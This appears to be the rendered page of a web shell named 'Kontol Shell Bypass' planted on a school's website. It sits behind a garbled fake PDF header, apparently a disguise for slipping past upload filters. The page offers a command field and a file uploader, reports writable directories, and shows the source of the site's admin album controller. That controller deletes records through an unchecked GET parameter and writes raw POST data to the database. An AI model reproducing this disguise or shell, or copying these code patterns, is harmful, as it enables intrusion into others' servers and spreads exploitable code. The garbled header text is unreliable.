%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardaveda.com/application/modules/admin/controllers/managealbums/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardaveda.com/application/modules/admin/controllers/managealbums/Managealbums.php
<?php
/*
* @Author:    Sharda Tech Pvt. Ltd.
*/

if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}

class Managealbums extends ADMIN_Controller
{
    public function __construct()
    {
        parent::__construct();
        $this->load->model(array('Eventsgallery_model','School_model','Common_model'));
    }

    public function index()
    {
        $this->login_check();
	
        if (isset($_GET['delete'])) {
            $this->Eventsgallery_model->deleteRecords($_GET['delete'],'id', 'su_eventsgallery_albums');
            $this->session->set_flashdata('result_delete', 'Album is deleted!');
            redirect('admin/managealbums');
        }
		
        $data = array();
        $head = array();
        $head['title'] = 'Administration - Manage Albums';
        $head['description'] = '!';
        $head['keywords'] = '';
		$this->form_validation->set_rules('album_title', 'Album Title', 'trim|required');
        $this->form_validation->set_rules('album_url', 'Album URL', 'trim|required');
        $this->form_validation->set_rules('display_order', 'Display order', 'trim|required');
       
		if ($this->form_validation->run($this)) {
			$_POST['album_image'] = $this->uploadImage();
			$_POST['album_url'] = valid_seo_friendly_url($_POST['album_url']);
			if($_POST['old_image']!='' && $_POST['album_image']==''){ $_POST['album_image'] = $_POST['old_image']; } unset($_POST['old_image']);
		    $this->Eventsgallery_model->setRecordDetails($_POST, $tbl_name='su_eventsgallery_albums');
            $this->saveHistory('Create new album - ' . $_POST['album_title']);
            redirect('admin/managealbums');
        }
		
		if(isset($_GET['edit'])) {
            $_POST = $this->Eventsgallery_model->getRecords($_GET['edit'],'su_eventsgallery_albums');
        }
		
		$data['schools'] = $this->School_model->getSchools();
		$data['albums'] = $this->Eventsgallery_model->getJoinRecords(NULL, 'su_eventsgallery_albums');
		
		// Get Event List
		$data['sectionArray'] = $this->Common_model->getEvents();
		
        $this->load->view('_parts/header', $head);
        $this->load->view('managealbums/managealbums', $data);
        $this->load->view('_parts/footer');
        $this->saveHistory('Go to Admin Users');
    }
	
	/*
	* Function : exportRecords
	*/
	private function exportRecords() {
		if (isset($_POST['export'])) 
		{
			//header("Content-Disposition: attachment; filename=sharda-schools-".date('Y-m-d').".csv");
			$schools = $data['schools'];
			$file = fopen('php://output', 'w');
			$header = array("School Name","School Url","Display Order","Date");
			fputcsv($file, $header);
			foreach ($schools as $school){
				$data=array($school->school_name, $school->school_url ,$school->display_name,$bookings->createdon);
				fputcsv($file,$data);
			}
			
			fclose($file);
			exit;
        }
	}
	
	/*
	* Function : uploadImage
	*/
	private function uploadImage()
    {
	
        $config['upload_path'] = './attachments/gallery_images/';
        $config['allowed_types'] = $this->allowed_img_types;
		
        $this->load->library('upload', $config);
        $this->upload->initialize($config);
        if (!$this->upload->do_upload('album_image')) {
            log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
        }
        $img = $this->upload->data();
        return $img['file_name'];
    }
}

Kontol Shell Bypass